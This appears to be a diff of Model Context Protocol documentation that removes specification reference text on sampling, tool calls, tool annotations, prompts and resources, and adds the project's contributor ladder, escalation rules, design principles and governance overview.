  • "endTurn": Natural end of the assistant's turn
  • "stopSequence": A stop sequence was encountered
  • "maxTokens": Maximum token limit was reached
  • "toolUse": The model wants to use one or more tools

This field is an open string to allow for provider-specific stop reasons.

role: Role
content: SamplingMessageContentBlock | SamplingMessageContentBlock\[]
-
+* Sustained contribution as Maintainer or similar role over at least 6 months +* Demonstrated judgment on complex, project-wide decisions +* Trust and respect across organizational boundaries +* Deep commitment to MCP's long-term success -
- ### `ModelHint` +**Appointment:** -
interface ModelHint \{
  name?: string;
}

Hints to use for model selection.

Keys not declared here are currently left unspecified by the spec and are up - to the client to interpret.

name?: string

A hint for a model name.

The client SHOULD treat this as a substring of a model name; for example:

  • claude-3-5-sonnet should match claude-3-5-sonnet-20241022
  • sonnet should match claude-3-5-sonnet-20241022, claude-3-sonnet-20240229, etc.
  • claude should match any Claude model

The client MAY also map the string to a different provider's model name or a different model family, as long as it fills a similar niche; for example:

  • gemini-1.5-flash could match claude-3-haiku-20240307
-
+* Nominated by a majority of Core Maintainers and approved by Lead Maintainers, **or** +* Direct appointment by Lead Maintainers + +When evaluating candidates, Core Maintainers should consider whether the current composition adequately represents the breadth of the MCP ecosystem. This includes enterprise adopters deploying MCP in production. -
- ### `ModelPreferences` +**Responsibilities:** -
interface ModelPreferences \{
  hints?: ModelHint\[];
  costPriority?: number;
  speedPriority?: number;
  intelligencePriority?: number;
}

The server's preferences for model selection, requested of the client during sampling.

Because LLMs can vary along multiple dimensions, choosing the "best" model is - rarely straightforward. Different models excel in different areas—some are - faster but less capable, others are more capable but more expensive, and so - on. This interface allows servers to express their priorities across multiple - dimensions to help clients make an appropriate selection for their use case.

These preferences are always advisory. The client MAY ignore them. It is also - up to the client to decide how to interpret these preferences and how to - balance them against other considerations.

hints?: ModelHint\[]

Optional hints to use for model selection.

If multiple hints are specified, the client MUST evaluate them in order - (such that the first match is taken).

The client SHOULD prioritize these hints over the numeric priorities, but - MAY still use the priorities to select from ambiguous matches.

costPriority?: number

How much to prioritize cost when selecting a model. A value of 0 means cost - is not important, while a value of 1 means cost is the most important - factor.

speedPriority?: number

How much to prioritize sampling speed (latency) when selecting a model. A - value of 0 means speed is not important, while a value of 1 means speed is - the most important factor.

intelligencePriority?: number

How much to prioritize intelligence and capabilities when selecting a - model. A value of 0 means intelligence is not important, while a value of 1 - means intelligence is the most important factor.

-
+* Final technical decision authority for contested or cross-cutting issues +* Stewardship of project vision and design principles +* Governance and policy decisions +* External representation of MCP +* Succession planning and community health +* Ensure restraint and sustainability in protocol evolution +* Attend Core Maintainer meetings and meetups -
- ### `SamplingMessage` +**Privileges:** -
interface SamplingMessage \{
  role: Role;
  content: SamplingMessageContentBlock | SamplingMessageContentBlock\[];
  \_meta?: \{ \[key: string]: unknown };
}

Describes a message issued to or received from an LLM API.

role: Role
content: SamplingMessageContentBlock | SamplingMessageContentBlock\[]
\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+* Final approval on breaking changes and major spec revisions +* Voting rights on [SEPs](/community/sep-guidelines) +* Approval of Maintainers +* Governance voting rights and expectation of governance participation +* Administrative rights to all MCP GitHub repositories +* Listed in `MAINTAINERS.md` as Core Maintainer -
- ### `SamplingMessageContentBlock` +**Inactivity:** Core Maintainers with no participation in governance or technical decisions for 6 months may be moved to emeritus status following review by Lead Maintainers. Given the visibility of this role, Core Maintainers should proactively communicate reduced availability. -
SamplingMessageContentBlock:
  | TextContent
  | ImageContent
  | AudioContent
  | ToolUseContent
  | ToolResultContent
-
+*** -
- ### `ToolChoice` +## Lead Maintainer -
interface ToolChoice \{
  mode?: "none" | "required" | "auto";
}

Controls tool selection behavior for sampling requests.

mode?: "none" | "required" | "auto"

Controls the tool use ability of the model:

  • "auto": Model decides whether to use tools (default)
  • "required": Model MUST use at least one tool before completing
  • "none": Model MUST NOT use any tools
-
+Lead Maintainers hold ultimate authority over MCP's direction and governance. This is a lifetime appointment reserved for project founders. There is no advancement path to this role. It is only assumed through succession (see [Succession](#succession)). -
- ### `ToolResultContent` +**Responsibilities:** -
interface ToolResultContent \{
  type: "tool\_result";
  toolUseId: string;
  content: ContentBlock\[];
  structuredContent?: \{ \[key: string]: unknown };
  isError?: boolean;
  \_meta?: \{ \[key: string]: unknown };
}

The result of a tool use, provided by the user back to the assistant.

type: "tool\_result"
toolUseId: string

The ID of the tool use this result corresponds to.

This MUST match the ID from a previous ToolUseContent.

content: ContentBlock\[]

The unstructured result content of the tool use.

This has the same format as CallToolResult.content and can include text, images, - audio, resource links, and embedded resources.

structuredContent?: \{ \[key: string]: unknown }

An optional structured result object.

If the tool defined an outputSchema, this SHOULD conform to that schema.

isError?: boolean

Whether the tool use resulted in an error.

If true, the content typically describes the error that occurred. - Default: false

\_meta?: \{ \[key: string]: unknown }

Optional metadata about the tool result. Clients SHOULD preserve this field when - including tool results in subsequent sampling requests to enable caching optimizations.

See General fields: \_meta for notes on \_meta usage.

-
+* All Core Maintainer responsibilities +* Appoint and remove Core Maintainers +* Final authority on contested governance decisions +* Project-wide strategic direction -
- ### `ToolUseContent` +**Privileges:** -
interface ToolUseContent \{
  type: "tool\_use";
  id: string;
  name: string;
  input: \{ \[key: string]: unknown };
  \_meta?: \{ \[key: string]: unknown };
}

A request from the assistant to call a tool.

type: "tool\_use"
id: string

A unique identifier for this tool use.

This ID is used to match tool results to their corresponding tool uses.

name: string

The name of the tool to call.

input: \{ \[key: string]: unknown }

The arguments to pass to the tool, conforming to the tool's input schema.

\_meta?: \{ \[key: string]: unknown }

Optional metadata about the tool use. Clients SHOULD preserve this field when - including tool uses in subsequent sampling requests to enable caching optimizations.

See General fields: \_meta for notes on \_meta usage.

-
+* Can act alone where Core Maintainers require multiple approvals +* Veto authority over any decision +* Appoints successor -## `tools/call` +### Succession -
- ### `CallToolRequest` +If a Lead Maintainer leaves the role for any reason, succession begins upon their written notice. If they cannot give notice, the remaining Lead Maintainers or Core Maintainers may determine that the Lead Maintainer is unable to continue serving. -
interface CallToolRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tools/call";
  params: CallToolRequestParams;
}

Used by the client to invoke a tool provided by the server.

jsonrpc: "2.0"
id: RequestId
method: "tools/call"
params: CallToolRequestParams
-
+If one or more Lead Maintainers remain, they appoint a successor. If more than one remains, they decide by majority vote. The remaining Lead Maintainers continue to govern until a successor is appointed. -
- ### `CallToolRequestParams` +If no Lead Maintainers remain, the Core Maintainers appoint a successor by majority vote within 30 days. Until a new Lead Maintainer is appointed, the project operates by two-thirds vote of Core Maintainers. -
interface CallToolRequestParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  name: string;
  arguments?: \{ \[key: string]: unknown };
}

Parameters for a tools/call request.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. - The request will return a CreateTaskResult immediately, and the actual result can be - retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support - for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

name: string

The name of the tool.

arguments?: \{ \[key: string]: unknown }

Arguments to use for the tool call.

-
+*** -
- ### `CallToolResult` +## Community Moderator -
interface CallToolResult \{
  \_meta?: \{ \[key: string]: unknown };
  content: ContentBlock\[];
  structuredContent?: \{ \[key: string]: unknown };
  isError?: boolean;
  \[key: string]: unknown;
}

The server's response to a tool call.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

content: ContentBlock\[]

A list of content objects that represent the unstructured result of the tool call.

structuredContent?: \{ \[key: string]: unknown }

An optional JSON object that represents the structured result of the tool call.

isError?: boolean

Whether the tool call ended in an error.

If not set, this is assumed to be false (the call was successful).

Any errors that originate from the tool SHOULD be reported inside the result - object, with isError set to true, not as an MCP protocol-level error - response. Otherwise, the LLM would not be able to see that an error occurred - and self-correct.

However, any errors in finding the tool, an error indicating that the - server does not support tool calls, or any other exceptional conditions, - should be reported as an MCP error response.

-
+Community Moderators help keep the MCP community healthy, safe, and welcoming. This role focuses on moderation and Code of Conduct enforcement rather than technical contribution. -## `tools/list` +**Requirements:** -
- ### `ListToolsRequest` +* Member status minimum +* Demonstrated good judgment and composure in community interactions +* Understanding of the MCP Code of Conduct and community guidelines +* Ability to handle sensitive situations with discretion and fairness -
interface ListToolsRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "tools/list";
}

Sent from the client to request a list of tools the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "tools/list"
-
+**Sponsorship:** -
- ### `ListToolsResult` +* Sponsored by a Core Maintainer or Lead Maintainer -
interface ListToolsResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  tools: Tool\[];
  \[key: string]: unknown;
}

The server's response to a tools/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. - If present, there may be more results available.

tools: Tool\[]
-
+**Responsibilities:** -
- ### `Tool` +* Monitor community channels (Discord, GitHub Discussions, etc.) for Code of Conduct adherence +* Handle Code of Conduct incident reports, including initial triage and response +* Escalate serious or complex incidents to Core Maintainers +* Help maintain a welcoming and inclusive environment +* Coordinate with other moderators to ensure consistent enforcement +* Document moderation actions and maintain confidentiality of incident details +* Recuse from any incident involving them personally; such incidents go directly to Core Maintainers -
interface Tool \{
  icons?: Icon\[];
  name: string;
  title?: string;
  description?: string;
  inputSchema: \{
    \$schema?: string;
    type: "object";
    properties?: \{ \[key: string]: object };
    required?: string\[];
  };
  execution?: ToolExecution;
  outputSchema?: \{
    \$schema?: string;
    type: "object";
    properties?: \{ \[key: string]: object };
    required?: string\[];
  };
  annotations?: ToolAnnotations;
  \_meta?: \{ \[key: string]: unknown };
}

Definition for a tool the client can call.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

description?: string

A human-readable description of the tool.

This can be used by clients to improve the LLM's understanding of available tools. It can be thought of like a "hint" to the model.

inputSchema: \{ \$schema?: string; type: "object"; properties?: \{ \[key: string]: object }; required?: string\[]; }

A JSON Schema object defining the expected parameters for the tool.

execution?: ToolExecution

Execution-related properties for this tool.

outputSchema?: \{ \$schema?: string; type: "object"; properties?: \{ \[key: string]: object }; required?: string\[]; }

An optional JSON Schema object defining the structure of the tool's output returned in - the structuredContent field of a CallToolResult.

Defaults to JSON Schema 2020-12 when no explicit \$schema is provided. - Currently restricted to type: "object" at the root level.

annotations?: ToolAnnotations

Optional additional tool information.

Display name precedence order is: title, annotations.title, then name.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+**Privileges:** -
- ### `ToolAnnotations` +* Moderation rights on community platforms (Discord, GitHub Discussions) +* Access to moderation tools and private moderation channels +* Authority to issue warnings, mute, or temporarily ban users for Code of Conduct violations +* Listed in the community moderator roster -
interface ToolAnnotations \{
  title?: string;
  readOnlyHint?: boolean;
  destructiveHint?: boolean;
  idempotentHint?: boolean;
  openWorldHint?: boolean;
}

Additional properties describing a Tool to clients.

NOTE: all properties in ToolAnnotations are hints. - They are not guaranteed to provide a faithful description of - tool behavior (including descriptive properties like title).

Clients should never make tool use decisions based on ToolAnnotations - received from untrusted servers.

title?: string

A human-readable title for the tool.

readOnlyHint?: boolean

If true, the tool does not modify its environment.

Default: false

destructiveHint?: boolean

If true, the tool may perform destructive updates to its environment. - If false, the tool performs only additive updates.

(This property is meaningful only when readOnlyHint == false)

Default: true

idempotentHint?: boolean

If true, calling the tool repeatedly with the same arguments - will have no additional effect on its environment.

(This property is meaningful only when readOnlyHint == false)

Default: false

openWorldHint?: boolean

If true, this tool may interact with an "open world" of external - entities. If false, the tool's domain of interaction is closed. - For example, the world of a web search tool is open, whereas that - of a memory tool is not.

Default: true

-
+**Relationship to Contributor Ladder:** Community Moderator is a parallel track, not a prerequisite for technical advancement. Moderator experience counts toward any role, especially where community judgment matters. Moderators may hold other roles at the same time (Member, Maintainer, etc.). -
- ### `ToolExecution` +**Removal:** Core Maintainers may remove Community Moderators for failure to uphold moderation standards or for Code of Conduct violations. Moderators may step down voluntarily at any time. -
interface ToolExecution \{
  taskSupport?: "forbidden" | "optional" | "required";
}

Execution-related properties for a tool.

taskSupport?: "forbidden" | "optional" | "required"

Indicates whether this tool supports task-augmented execution. - This allows clients to handle long-running operations through polling - the task system.

  • "forbidden": Tool does not support task-augmented execution (default when absent)
  • "optional": Tool may support task-augmented execution
  • "required": Tool requires task-augmented execution

Default: "forbidden"

-
+*** +## Working Group and Interest Group Leadership -# Overview -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/index +Working Group (WG) Leads and Interest Group (IG) Facilitators are a form of community leadership that does not require Maintainer status. WG and IG leadership centers on facilitation and coordination rather than merge authority. +The full governance rules for WGs and IGs are defined in [SEP-2149: MCP Group Governance and Charter Template](/seps/2149-working-group-charter-template). These include participation tiers, decision-making process, meeting requirements, and lifecycle. +**Requirements:** -**Protocol Revision**: 2025-11-25 +* Member status minimum +* Demonstrated sustained engagement with the group's scope +* Good facilitation and communication skills +* Ability to represent multiple perspectives fairly +* Group and its leadership sponsored by at least two Core Maintainers or one Lead Maintainer -Servers provide the fundamental building blocks for adding context to language models via -MCP. These primitives enable rich interactions between clients, servers, and language -models: +**Relationship to Contributor Ladder:** -* **Prompts**: Pre-defined templates or instructions that guide language model - interactions -* **Resources**: Structured data or content that provides additional context to the model -* **Tools**: Executable functions that allow models to perform actions or retrieve - information +* WG Lead and IG Facilitator experience is valuable for advancement to Maintainer +* Leads and Facilitators without Maintainer status work with Maintainers for merge decisions +* Leads and Facilitators have authority over group operations but not spec approval +* WG Leads and Maintainers may sponsor SEPs +* WG Leads may triage SEPs in their scope area. This includes closing SEPs that do not fit the roadmap. Closures require documented rationale, and authors may appeal to Core Maintainers. -Each primitive can be summarized in the following control hierarchy: +*** -| Primitive | Control | Description | Example | -| --------- | ---------------------- | -------------------------------------------------- | ------------------------------- | -| Prompts | User-controlled | Interactive templates invoked by user choice | Slash commands, menu options | -| Resources | Application-controlled | Contextual data attached and managed by the client | File contents, git history | -| Tools | Model-controlled | Functions exposed to the LLM to take actions | API POST requests, file writing | +## Advancement Process -Explore these key primitives in more detail below: +### Self-Nomination vs. Recognition - - +Contributors may either: - +1. **Self-nominate** when they believe they meet the requirements +2. **Be nominated** by a sponsor who has observed their contributions - - +Both paths are equally valid. Self-nomination is encouraged. It shows initiative and self-awareness of one's contribution scope. +### Process Steps -# Prompts -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/prompts +1. **Nomination.** The nominee or sponsor opens an issue using the nomination template. It must include links to contributions that demonstrate the requirements, plus sponsor confirmations. +2. **Community Review.** A 7-day period follows for community input. +3. **Decision.** The approving authority reviews and decides. +4. **Onboarding.** The new role-holder receives appropriate access and onboarding. +| Advancement To | Approved By | +| ------------------- | ------------------------------------------------------------------------------- | +| Member | 2 existing Members+ from different organizations, **or** 1 Core/Lead Maintainer | +| Maintainer | 1 Maintainer or Core Maintainer sponsor + Core Maintainer approval | +| Core Maintainer | Lead Maintainers | +| Community Moderator | 1 Core Maintainer or Lead Maintainer | +Nominees who self-nominate must still secure the required sponsorship. Sponsors confirm support in the nomination issue. -
+*** -**Protocol Revision**: 2025-11-25 +## Decision-Making and Escalation -The Model Context Protocol (MCP) provides a standardized way for servers to expose prompt -templates to clients. Prompts allow servers to provide structured messages and -instructions for interacting with language models. Clients can discover available -prompts, retrieve their contents, and provide arguments to customize them. +### Delegation as Default -## User Interaction Model +MCP operates on a principle of delegation. Decisions should be made at the lowest appropriate level. This lets the project move quickly while preserving Core Maintainer bandwidth for cross-cutting concerns. -Prompts are designed to be **user-controlled**, meaning they are exposed from servers to -clients with the intention of the user being able to explicitly select them for use. +* **Maintainers, WG Leads, and IG Facilitators** handle day-to-day decisions within scope. +* **Core Maintainers** intervene on escalation, cross-cutting issues, or when required by process (spec changes, Maintainer approval). +* **Lead Maintainers** intervene only on contested governance decisions or when Core Maintainers cannot reach consensus. -Typically, prompts would be triggered through user-initiated commands in the user -interface, which allows users to naturally discover and invoke available prompts. +When in doubt, make the decision at your level and document it. Escalate only when blocked, when the decision has project-wide implications, or when process explicitly requires it. -For example, as slash commands: +The detailed escalation procedure for Working Group and Interest Group disputes is defined in [SEP-2149 §1.5](/seps/2149-working-group-charter-template). It includes the designation of a Core Maintainer without shared organizational affiliation to resolve the issue. -Example of prompt exposed as slash command +### Escalation Matrix -However, implementors are free to expose prompts through any interface pattern that suits -their needs—the protocol itself does not mandate any specific user interaction -model. +| Issue Type | First Escalation | Second Escalation | Timeline | +| ------------------------------------------ | ------------------- | ----------------- | ---------------- | +| Technical disagreement in PR | Maintainer in scope | Core Maintainer | 5 business days | +| Technical disagreement in WG | WG Lead | Core Maintainer | 5 business days | +| Technical disagreement in IG | IG Facilitator | Core Maintainer | 5 business days | +| Disagreement with WG Lead / IG Facilitator | Core Maintainer | Lead Maintainer | 7 business days | +| Disagreement with Maintainer decision | Core Maintainer | Lead Maintainer | 7 business days | +| Core Maintainer disagreement | Lead Maintainer | N/A | 10 business days | +| Code of Conduct violation | Community Moderator | Core Maintainer | Immediate | +| Security issue | Core Maintainer | Lead Maintainer | Immediate | -## Capabilities +**Escalation process:** -Servers that support prompts **MUST** declare the `prompts` capability during -[initialization](/specification/2025-11-25/basic/lifecycle#initialization): +1. Document the decision, the options considered, and the points of disagreement +2. Present to the escalation authority with a clear ask +3. The escalation authority either (a) provides binding guidance, (b) requests more information, or (c) escalates further if needed -```json theme={null} -{ - "capabilities": { - "prompts": { - "listChanged": true - } - } -} -``` +*** -`listChanged` indicates whether the server will emit notifications when the list of -available prompts changes. +## Contribution Pathways -## Protocol Messages +MCP values diverse contributions. All of these pathways can lead to advancement. -### Listing Prompts +**Code Contributions.** SDK development (TypeScript, Python, etc.), testing infrastructure, tooling and developer experience. -To retrieve available prompts, clients send a `prompts/list` request. This operation -supports [pagination](/specification/2025-11-25/server/utilities/pagination). +**Specification Work.** Drafting or refining spec text, [SEP](/community/sep-guidelines) authorship or co-authorship, protocol design participation, compatibility analysis. -**Request:** +**Documentation.** User guides and tutorials, API documentation, architecture documentation, keeping content current. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "prompts/list", - "params": { - "cursor": "optional-cursor-value" - } -} -``` +**Community Building.** Onboarding new contributors, working group facilitation, community support (Discord, GitHub discussions), event organization or representation. -**Response:** +**Quality and Security.** Bug triage and reproduction, security review and analysis, test coverage improvement, release validation. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "prompts": [ - { - "name": "code_review", - "title": "Request Code Review", - "description": "Asks the LLM to analyze code quality and suggest improvements", - "arguments": [ - { - "name": "code", - "description": "The code to review", - "required": true - } - ], - "icons": [ - { - "src": "https://example.com/review-icon.svg", - "mimeType": "image/svg+xml", - "sizes": ["any"] - } - ] - } - ], - "nextCursor": "next-page-cursor" - } -} -``` +*** -### Getting a Prompt +## Stepping Down and Emeritus Status -To retrieve a specific prompt, clients send a `prompts/get` request. Arguments may be -auto-completed through [the completion API](/specification/2025-11-25/server/utilities/completion). +Contributors may step down from roles for any reason. This is normal and healthy. -**Request:** +**Process:** -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "method": "prompts/get", - "params": { - "name": "code_review", - "arguments": { - "code": "def hello():\n print('world')" - } - } -} -``` +1. Notify relevant leadership (WG Lead, IG Facilitator, Maintainer, or Core Maintainer as appropriate) +2. Help transition any ongoing work +3. Move to emeritus status -**Response:** +**Emeritus status:** -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "result": { - "description": "Code review prompt", - "messages": [ - { - "role": "user", - "content": { - "type": "text", - "text": "Please review this Python code:\ndef hello():\n print('world')" - } - } - ] - } -} -``` +* Recognized for past contributions +* May return to active status with abbreviated re-onboarding +* No ongoing responsibilities or privileges -### List Changed Notification +**Involuntary Removal.** Roles may be revoked for code of conduct violations or sustained non-participation. Removal follows appropriate review processes. -When the list of available prompts changes, servers that declared the `listChanged` -capability **SHOULD** send a notification: +*** -```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/prompts/list_changed" -} -``` +## Recognition and Visibility + +The community recognizes contributors through: -## Message Flow +* **Contributor lists** such as `MAINTAINERS.md` +* **GitHub teams** for appropriate access +* **Public acknowledgment** in release notes +* **Speaking opportunities** at community events +* **Badges** (if implemented) on community platforms -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server - Note over Client,Server: Discovery - Client->>Server: prompts/list - Server-->>Client: List of prompts +# Design Principles +Source: https://modelcontextprotocol.io/community/design-principles - Note over Client,Server: Usage - Client->>Server: prompts/get - Server-->>Client: Prompt content +The core design principles that guide the development of the Model Context Protocol. - opt listChanged - Note over Client,Server: Changes - Server--)Client: prompts/list_changed - Client->>Server: prompts/list - Server-->>Client: Updated prompts - end -``` +These principles guide how we evaluate protocol proposals, weigh tradeoffs, and evolve MCP. They reflect lessons from building and maintaining the project. They are meant as guidance by and for the community when developing [Spec Enhancement Proposals](/community/sep-guidelines) (SEPs) and [extensions](/extensions/overview). -## Data Types +## Convergence over choice -### Prompt +There should be one way to solve a problem in MCP. Rather than supporting multiple approaches that fragment the ecosystem, we choose a single well-designed path — accepting harder decisions upfront to deliver a more cohesive protocol. -A prompt definition includes: +[Extensions](/extensions/overview) are where convergence gets tested; the specification is where it gets committed. -* `name`: Unique identifier for the prompt -* `title`: Optional human-readable name of the prompt for display purposes. -* `description`: Optional human-readable description -* `icons`: Optional array of icons for display in user interfaces -* `arguments`: Optional list of arguments for customization +## Composability over specificity -### PromptMessage +MCP provides foundational primitives: resources, tools, prompts, and tasks. We don't add protocol features for use cases that can be constructed from these existing building blocks. This keeps the surface area small and implementations simple. -Messages in a prompt can contain: +When someone asks why MCP doesn't support a feature directly, the answer is usually that it can be built from what MCP already provides. Extensions like [MCP Apps](/extensions/apps/overview) capture the patterns that emerge. -* `role`: Either "user" or "assistant" to indicate the speaker -* `content`: One of the following content types: +## Interoperability over optimization - - All content types in prompt messages support optional - [annotations](./resources#annotations) for metadata about audience, priority, - and modification times. - +MCP runs across clients, servers, and models of widely varying sophistication. We favor features that degrade gracefully over those that only work when every participant is equally capable. Capability negotiation makes this concrete: participants declare what they support, and the protocol adapts rather than assumes. -#### Text Content +## Stability over velocity -Text content represents plain text messages: +Adding to a protocol as widely adopted as MCP is easy. Removing from it is nearly impossible. Every addition is a permanent commitment and a cost for client implementers to support. We move deliberately, knowing that "no" today leaves the door open while "yes" closes it forever. -```json theme={null} -{ - "type": "text", - "text": "The text content of the message" -} -``` +Contributors accustomed to rapid shipping may find this pace frustrating, but sustainable standards require sustainable decision-making. We optimize for decades, not quarters. -This is the most common content type used for natural language interactions. +## Capability over compensation -#### Image Content +Models improve faster than protocols evolve. We avoid adding permanent structure to work around limitations that are likely temporary — the limitation fades, but the complexity remains. -Image content allows including visual information in messages: +This is not license to ignore today's reality. Optional context that weaker models lean on and stronger ones ignore costs nothing. But when a proposal exists primarily because current models struggle without it, we ask whether they will outgrow the need before we can shed the weight. -```json theme={null} -{ - "type": "image", - "data": "base64-encoded-image-data", - "mimeType": "image/png" -} -``` +## Demonstration over deliberation -The image data **MUST** be base64-encoded and include a valid MIME type. This enables -multi-modal interactions where visual context is important. +MCP values working implementations over theoretical debates. When evaluating proposals, we prioritize evidence from real usage over hypothetical arguments. We encourage contributors to prototype, experiment, and demonstrate rather than design by committee. Implementation reveals what discussion cannot. -#### Audio Content +## Pragmatism over purity -Audio content allows including audio information in messages: +MCP makes practical tradeoffs in service of adoption and usability. We don't pursue theoretical elegance at the cost of real-world utility. When a "correct" design creates friction for implementers, we consider whether a "good enough" design better serves the ecosystem. This means accepting some inconsistency, some historical accidents, and some decisions we might make differently with hindsight. -```json theme={null} -{ - "type": "audio", - "data": "base64-encoded-audio-data", - "mimeType": "audio/wav" -} -``` +## Standardization over innovation -The audio data MUST be base64-encoded and include a valid MIME type. This enables -multi-modal interactions where audio context is important. +MCP standardizes patterns that have already proven valuable. We look for conventions that work across multiple implementations and codify them, rather than inventing new paradigms and hoping they'll be adopted. -#### Embedded Resources +We encourage the use of [MCP extensions](/extensions/overview) as a way to experiment with new patterns that may eventually lead to standardization. -Embedded resources allow referencing server-side resources directly in messages: -```json theme={null} -{ - "type": "resource", - "resource": { - "uri": "resource://example", - "mimeType": "text/plain", - "text": "Resource content" - } -} -``` +# Governance and Stewardship +Source: https://modelcontextprotocol.io/community/governance -Resources can contain either text or binary (blob) data and **MUST** include: +Learn about the Model Context Protocol's governance structure and how to participate in the community -* A valid resource URI -* The appropriate MIME type -* Either text content or base64-encoded blob data +The Model Context Protocol (MCP) follows a formal governance model to ensure transparent decision-making and community participation. This document outlines how the project is organized and how decisions are made. -Embedded resources enable prompts to seamlessly incorporate server-managed content like -documentation, code samples, or other reference materials directly into the conversation -flow. +## General Project Policies -## Error Handling +Model Context Protocol has been established as **Model Context Protocol a Series of LF Projects, LLC**. Policies applicable to Model Context Protocol and participants in Model Context Protocol, including guidelines on the usage of trademarks, are located at [https://www.lfprojects.org/policies/](https://www.lfprojects.org/policies/). Governance changes approved as per the provisions of this governance document must also be approved by LF Projects, LLC. -Servers **SHOULD** return standard JSON-RPC errors for common failure cases: +Model Context Protocol participants acknowledge that the copyright in all new contributions will be retained by the copyright holder as independent works of authorship and that no contributor or copyright holder will be required to assign copyrights to the project. -* Invalid prompt name: `-32602` (Invalid params) -* Missing required arguments: `-32602` (Invalid params) -* Internal errors: `-32603` (Internal error) +Except as described below, all code and specification contributions to the project must be made using the Apache License, Version 2.0 (available here: [https://www.apache.org/licenses/LICENSE-2.0](https://www.apache.org/licenses/LICENSE-2.0)) (the "Project License"). -## Implementation Considerations +All outbound code and specifications will be made available under the Project License. The Core Maintainers may approve the use of an alternative open license or licenses for inbound or outbound contributions on an exception basis. -1. Servers **SHOULD** validate prompt arguments before processing -2. Clients **SHOULD** handle pagination for large prompt lists -3. Both parties **SHOULD** respect capability negotiation +All documentation (excluding specifications) will be made available under Creative Commons Attribution 4.0 International license, available at: [https://creativecommons.org/licenses/by/4.0](https://creativecommons.org/licenses/by/4.0). -## Security +## Technical Governance -Implementations **MUST** carefully validate all prompt inputs and outputs to prevent -injection attacks or unauthorized access to resources. +The MCP project adopts a hierarchical structure, similar to Python, PyTorch, and other open source projects: +| Role | Scope | +| --------------------------- | -------------------------------- | +| **Lead Maintainers (BDFL)** | Final decision authority | +| **Core Maintainers** | Overall project direction | +| **Maintainers** | Working Groups, SDKs, components | +| **Contributors** | Issues, PRs, discussions | -# Resources -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/resources +* **Contributors** file issues, make pull requests, and contribute to the project. +* **Maintainers** drive components within the MCP project, such as SDKs, documentation, and Working Groups. +* **Core Maintainers** drive the overall project direction and oversee contributors and maintainers. +* **Lead Maintainers** are the final decision makers (also known as BDFL - Benevolent Dictator for Life). +Together, Maintainers, Core Maintainers, and Lead Maintainers form the **MCP Steering Group**. +All maintainers are expected to have a strong bias towards MCP's design philosophy. Membership in the technical governance process is for individuals, not companies. That is, there are no seats reserved for specific companies, and membership is associated with the person rather than the company employing that person. -
+### Communication Channels -**Protocol Revision**: 2025-11-25 +Technical governance is facilitated through a shared [Discord server](https://discord.gg/6CSzBmMkjX) for all maintainers. Each maintainer group can choose additional communication channels, but all decisions and their supporting discussions must be recorded and made transparently available on the Discord server. -The Model Context Protocol (MCP) provides a standardized way for servers to expose -resources to clients. Resources allow servers to share data that provides context to -language models, such as files, database schemas, or application-specific information. -Each resource is uniquely identified by a -[URI](https://datatracker.ietf.org/doc/html/rfc3986). +### Roles -## User Interaction Model +The [Contributor Ladder](/community/contributor-ladder) is the canonical definition of each role — its requirements, responsibilities, privileges, advancement process, and inactivity policy. This section gives a conceptual overview of how the roles relate to governance. -Resources in MCP are designed to be **application-driven**, with host applications -determining how to incorporate context based on their needs. +**Maintainers** steward specific areas such as SDKs, documentation, or [Working Groups](/community/working-interest-groups). They make decisions for their area independently and escalate to Core Maintainers when needed. Maintainers have write access to their respective repositories. -For example, applications could: +**Core Maintainers** steer the MCP specification and overall project direction. They can veto Maintainer decisions by majority vote, resolve disputes, and appoint or remove Maintainers. Core Maintainers have admin access to all MCP repositories but use the same pull-request workflow as outside contributors. -* Expose resources through UI elements for explicit selection, in a tree or list view -* Allow the user to search through and filter available resources -* Implement automatic context inclusion, based on heuristics or the AI model's selection +**Lead Maintainers** hold final authority and can veto any decision by Core Maintainers or Maintainers — the role commonly known as Benevolent Dictator for Life (BDFL). Lead Maintainers appoint and remove Core Maintainers, and are administrators on all project infrastructure. They are part of the Core Maintainer group and are expected to publicly articulate their reasoning. -Example of resource context picker +The [Contributor Ladder](/community/contributor-ladder) also defines the **Member** and **Community Moderator** roles, which sit outside the Steering Group. 